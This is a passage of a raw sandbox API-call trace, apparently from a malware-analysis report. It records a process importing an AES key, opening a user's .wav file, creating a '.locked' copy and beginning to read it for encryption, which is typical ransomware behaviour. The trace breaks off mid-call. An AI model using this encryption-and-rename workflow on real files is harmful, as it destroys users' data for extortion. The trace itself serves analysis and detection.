[0133.482] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.482] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.482] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.482] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.482] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0133.482] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.482] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.482] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.482] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.482] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0133.483] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.483] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.483] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.483] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.483] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0133.483] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.483] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0133.483] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.483] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.483] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.483] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.483] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0133.483] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.483] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.483] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.483] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.484] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0133.484] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.484] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.484] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.484] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.484] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0133.484] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.484] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.484] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.484] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.484] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0133.484] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.484] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.484] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.484] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.484] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0133.484] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.485] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.485] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.485] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.485] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0133.485] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.485] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.485] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.485] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.485] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.485] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0133.485] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0133.485] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0133.486] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0133.486] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0133.486] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0133.486] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0133.486] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0133.486] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0133.486] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0133.487] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e02360) returned 1 [0133.488] CryptImportKey (in: hProv=0x8e02360, pbData=0x6a384b4, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84c38) returned 1 [0133.488] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.488] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.488] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.488] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.488] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav")) returned 0x20 [0133.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav")) returned 0x20 [0133.490] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.490] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.491] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.491] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.491] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.491] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.491] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.491] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.491] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.492] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.492] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0133.492] GetFileType (hFile=0x858) returned 0x1 [0133.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.492] GetFileType (hFile=0x858) returned 0x1 [0133.492] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.492] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0133.493] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.493] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.493] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.493] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked", lpFilePart=0x0) returned 0x46 [0133.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.493] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0133.494] GetFileType (hFile=0x874) returned 0x1 [0133.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.494] GetFileType (hFile=0x874) returned 0x1 [0133.494] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.494] CryptGenRandom (in: hProv=0x8e02360, dwLen=0x10, pbBuffer=0x6a5011c | out: pbBuffer=0x6a5011c) returned 1 [0133.494] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.494] CryptDuplicateKey (in: hKey=0x8e84c38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84df8) returned 1 [0133.494] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.494] CryptSetKeyParam (hKey=0x8e84df8, dwParam=0x4, pbData=0x6a513d8*=0x1, dwFlags=0x0) returned 1 [0133.494] CryptSetKeyParam (hKey=0x8e84df8, dwParam=0x1, pbData=0x6a513a4, dwFlags=0x0) returned 1 [0133.494] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x1050\x438\x24a") returned 0x0 [0133.495] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.495] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.495] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.495] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.495] ReadFile (in: hFile=0x858, lpBuffer=0x6a54934, nNumberOfBytesToRead=0x14000, 